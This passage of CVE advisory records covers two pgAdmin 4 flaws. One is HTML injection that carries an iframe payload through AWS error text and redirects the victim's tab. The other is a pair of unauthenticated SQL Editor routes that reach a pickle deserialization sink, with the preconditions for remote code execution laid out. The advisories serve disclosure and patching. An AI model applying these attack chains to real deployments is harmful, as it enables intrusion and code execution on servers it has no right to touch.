"value": "HTML injection in pgAdmin 4\u0027s cloud deployment module. The verify_credentials, deploy, regions, and update-server endpoints under /rds/, /azure/, /google/, and the top-level /cloud/ blueprint propagated AWS / Azure / Google SDK exception text \u2014 and the related file-resolution and database-commit exception text \u2014 into the JSON response body (the info and errormsg fields) without HTML-encoding. The Cloud Wizard frontend rendered these strings through html-react-parser, so an attacker-influenced exception message embedded structural HTML directly into the wizard\u0027s DOM.\n\nThe reported entry point is /rds/verify_credentials/. An authenticated pgAdmin user submits a crafted access_key whose value contains an \u003ciframe/src=...\u003e payload; AWS STS rejects the credential with an IncompleteSignature exception whose text quotes the access_key verbatim; the pgAdmin backend forwards that text into the JSON info field; the Cloud Wizard\u0027s FormFooterMessage parses it as HTML. The browser fetches the iframe\u0027s src from an attacker-controlled host, and JavaScript executing inside the cross-origin iframe writes to parent.location, redirecting the victim\u0027s pgAdmin tab. Because the injection renders inside pgAdmin\u0027s own interface, X-Frame-Options and Content-Security-Policy frame-ancestors do not mitigate it. Baseline impact is self-targeted (the same user who supplied the payload sees the injection); escalation against other authenticated users requires an additional cross-site request-forgery primitive capable of submitting the malformed credential request with a valid X-pgA-CSRFToken in the victim\u0027s browser context.\n\nThe same unsanitised-error-into-JSON pattern was present across multiple sibling endpoints \u2014 Azure\u0027s check_cluster_name_availability, every Google endpoint that surfaces SDK errors (verification_ack, projects, regions, instance_types, database_versions, the verify_credentials path-resolution branches), the central /deploy endpoint that bubbles str(e) from deploy_on_rds / deploy_on_azure / deploy_on_google, and update_cloud_server which surfaces the str(e) from a failing db.session.commit \u2014 all of which are now covered.\n\nFix HTML-escapes every external/SDK exception string at the endpoint sink via a new shared sanitize_external_text helper (HTML escape with control-character strip), promoted out of the psycopg3 driver into web/pgadmin/utils/text_sanitize.py. The Cloud Wizard frontend additionally renders its FormFooterMessage in plain-text mode for backend-derived strings, so the value is never parsed as HTML even if a future sink forgets the escape.\n\nThis issue affects pgAdmin 4: from 6.6 before 9.16."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 3.5,
"baseSeverity": "LOW",
"confidentialityImpact": "NONE",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "Self-XSS only. The same authenticated pgAdmin user that submits the crafted cloud credential is the one whose browser renders the echoed error -- there is no third-party attacker driving a distinct victim, so the confused-deputy elements (S:C / C:H confidentiality uplift) do not apply. The frontend DOMPurify layer added by #10068 already neutralises the in-browser exploit; this fix is defence in depth that ensures non-browser JSON consumers (audit logs, scripted API clients) never see the raw markup either. Scored as I:L for that residual escape only; S:U because no authority is crossed.\n\nCross-user escalation would require an independent CSRF primitive capable of submitting the malformed credential request with a valid X-pgA-CSRFToken in the victim\u0027s browser context. That is not part of this defect."
}
]
},
{
"cvssV4_0": {
"baseScore": 4.8,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
"version": "4.0"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "Same reasoning as CVSS 3.1 -- self-XSS, no third-party attacker, no scope change. VI:L for the defence-in-depth backend escape that prevents the raw markup from reaching non-browser API consumers; no other impact."
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-79",
"description": "CWE-79 Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-116",
"description": "CWE-116 Improper Encoding or Escaping of Output",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-06-18T23:37:39.657Z",
"orgId": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007",
"shortName": "PostgreSQL"
},
"references": [
{
"tags": [
"issue-tracking"
],
"url": "https://github.com/pgadmin-org/pgadmin4/issues/10069"
},
{
"tags": [
"patch"
],
"url": "https://github.com/pgadmin-org/pgadmin4/commit/60d149864b5fdd99675754c7996637737a24fce3"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "pgAdmin 4: HTML injection in cloud verify_credentials / deploy endpoints via unsanitised SDK exception text"
}
},
"cveMetadata": {
"assignerOrgId": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007",
"assignerShortName": "PostgreSQL",
"cveId": "CVE-2026-12047",
"datePublished": "2026-06-18T23:37:39.657Z",
"dateReserved": "2026-06-11T20:40:07.824Z",
"dateUpdated": "2026-06-22T19:14:24.816Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-12046 (GCVE-0-2026-12046)
Vulnerability from cvelistv5
Published
2026-06-18 23:37
Modified
2026-06-23 03:55
Severity ?
9.0 (Critical) - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
9.5 (Critical) - CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
9.5 (Critical) - CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
VLAI Severity ?
EPSS score ?
CWE
Summary
Two state-mutating endpoints in pgAdmin 4's SQL Editor blueprint -- DELETE /sqleditor/close/<trans_id> and POST /sqleditor/initialize/sqleditor/update_connection/<sgid>/<sid>/<did> -- were the only routes in the module missing the @pga_login_required decorator. Both reach a pickle.loads sink on session['gridData'][<trans_id>]['command_obj']: the close endpoint via close_sqleditor_session(), and update_sqleditor_connection via check_transaction_status(). In server mode these endpoints were reachable without any authenticated pgAdmin session.
The defect is a missing-authentication-on-critical-function (CWE-306) wrapper around a deserialization-of-untrusted-data sink (CWE-502). Exploiting it for remote code execution requires the attacker to also forge a server-side session file whose gridData entry contains a malicious pickle payload, which in turn requires both (a) knowledge of pgAdmin's Flask SECRET_KEY (no chain to leak it is described here -- the attacker must already possess it) and (b) write access to pgAdmin's sessions/ directory on the host. Neither precondition is granted by this defect on its own. When those preconditions are met from another channel (misconfigured deployment, prior compromise, leaked configuration), the missing auth gate is the final hop that turns an existing partial compromise into unauthenticated code execution in the pgAdmin process -- and, by extension, on the host under whatever account runs pgAdmin.
Fix is a one-line @pga_login_required decorator on each of the two endpoints, matching the convention used by every other route in the module. The is_authenticated / MFA chain now runs before the trans_id is dereferenced, so an unauthenticated request is rejected before reaching the deserialization path.
The defect is server-mode only. In DESKTOP mode pgAdmin's before_request hook re-authenticates DESKTOP_USER on every request, so no endpoint can be exercised in an unauthenticated state and no auth decorator (or its absence) is meaningful. The accompanying regression test mirrors the attacker's path -- harvests an X-pgA-CSRFToken from GET /login and replays it against both endpoints -- and self-skips outside server mode for that reason; it is wired into the existing server-mode CI workflow alongside the data-isolation tests.
This issue affects pgAdmin 4: from 6.9 before 9.16.
References
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| pgadmin.org | pgAdmin 4 |
Version: 6.9 < 9.16 |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-12046",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-06-22T00:00:00+00:00",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-06-23T03:55:42.384Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"modules": [
"SQL Editor"
],
"product": "pgAdmin 4",
"programFiles": [
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/tools/sqleditor/__init__.py"
],
"repo": "https://github.com/pgadmin-org/pgadmin4",
"vendor": "pgadmin.org",
"versions": [
{
"lessThan": "9.16",
"status": "affected",
"version": "6.9",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Fernando Bortotti \u003cfernando.bortotti@bsd.com.br\u003e"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Ashesh Vashi \u003cashesh.vashi@enterprisedb.com\u003e"
}
],
"descriptions": [
{
"lang": "en",
"value": "Two state-mutating endpoints in pgAdmin 4\u0027s SQL Editor blueprint -- DELETE /sqleditor/close/\u003ctrans_id\u003e and POST /sqleditor/initialize/sqleditor/update_connection/\u003csgid\u003e/\u003csid\u003e/\u003cdid\u003e -- were the only routes in the module missing the @pga_login_required decorator. Both reach a pickle.loads sink on session[\u0027gridData\u0027][\u003ctrans_id\u003e][\u0027command_obj\u0027]: the close endpoint via close_sqleditor_session(), and update_sqleditor_connection via check_transaction_status(). In server mode these endpoints were reachable without any authenticated pgAdmin session.\n\nThe defect is a missing-authentication-on-critical-function (CWE-306) wrapper around a deserialization-of-untrusted-data sink (CWE-502). Exploiting it for remote code execution requires the attacker to also forge a server-side session file whose gridData entry contains a malicious pickle payload, which in turn requires both (a) knowledge of pgAdmin\u0027s Flask SECRET_KEY (no chain to leak it is described here -- the attacker must already possess it) and (b) write access to pgAdmin\u0027s sessions/ directory on the host. Neither precondition is granted by this defect on its own. When those preconditions are met from another channel (misconfigured deployment, prior compromise, leaked configuration), the missing auth gate is the final hop that turns an existing partial compromise into unauthenticated code execution in the pgAdmin process -- and, by extension, on the host under whatever account runs pgAdmin.\n\nFix is a one-line @pga_login_required decorator on each of the two endpoints, matching the convention used by every other route in the module. The is_authenticated / MFA chain now runs before the trans_id is dereferenced, so an unauthenticated request is rejected before reaching the deserialization path.\n\nThe defect is server-mode only. In DESKTOP mode pgAdmin\u0027s before_request hook re-authenticates DESKTOP_USER on every request, so no endpoint can be exercised in an unauthenticated state and no auth decorator (or its absence) is meaningful. The accompanying regression test mirrors the attacker\u0027s path -- harvests an X-pgA-CSRFToken from GET /login and replays it against both endpoints -- and self-skips outside server mode for that reason; it is wired into the existing server-mode CI workflow alongside the data-isolation tests.\n\nThis issue affects pgAdmin 4: from 6.9 before 9.16."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "The defect itself is a missing @pga_login_required decorator on two SQL Editor routes (DELETE /sqleditor/close/\u003ctrans_id\u003e and POST /sqleditor/initialize/sqleditor/update_connection/...), both reaching pickle.loads on session[\u0027gridData\u0027][\u003ctrans_id\u003e][\u0027command_obj\u0027].\n\nAC:H captures the practical preconditions: the attacker needs (a) pgAdmin\u0027s Flask SECRET_KEY and (b) write access to the sessions/ directory in order to forge a session file containing a malicious pickle payload. Neither is granted by this defect. With both in hand the attacker reaches the pickle.loads sink unauthenticated via the missing-auth endpoints. S:C captures the transition from a web endpoint to OS code execution under the pgAdmin service account.\n\nPractical note: the \u0027unauthenticated RCE\u0027 headline oversells the real-world risk. An attacker who already possesses the SECRET_KEY and can write to sessions/ can equally forge an *authenticated* session cookie -- the same pickle.loads sink is reachable from any logged-in user. The defect\u0027s marginal contribution is removing the login requirement on two specific routes (making the attack one step cheaper), not creating a new RCE surface. AC:H reflects that. An alternative S:U scoring (-\u003e 8.1 HIGH) is defensible if the score should track that real-world risk profile rather than the worst credible authority crossing."
}
]
},
{
"cvssV4_0": {
"baseScore": 9.5,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"version": "4.0"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "Same reasoning as the CVSS 3.1 entry. AT:P captures the SECRET_KEY + writable-sessions/ preconditions that are not provided by this defect alone. The pickle.loads sink yields arbitrary code execution in the pgAdmin process, treated as full Subsequent System compromise on the host."
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-306",
"description": "CWE-306 Missing Authentication for Critical Function",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-502",
"description": "CWE-502 Deserialization of Untrusted Data",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-06-18T23:37:37.430Z",
"orgId": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007",
"shortName": "PostgreSQL"
},
"references": [
{
"tags": [
"issue-tracking"
],
"url": "https://github.com/pgadmin-org/pgadmin4/issues/10072"
},
{
"tags": [
"patch"
],
"url": "https://github.com/pgadmin-org/pgadmin4/commit/f81433ae2f998f95bb17f27f53b4e99ebcc1df9c"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "pgAdmin 4: Unauthenticated pickle deserialization in SQL Editor close / update_connection routes enables remote code execution"
}
},
"cveMetadata": {
"assignerOrgId": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007",
"assignerShortName": "PostgreSQL",
"cveId": "CVE-2026-12046",
"datePublished": "2026-06-18T23:37:37.430Z",
"dateReserved": "2026-06-11T20:40:07.093Z",
"dateUpdated": "2026-06-23T03:55:42.384Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}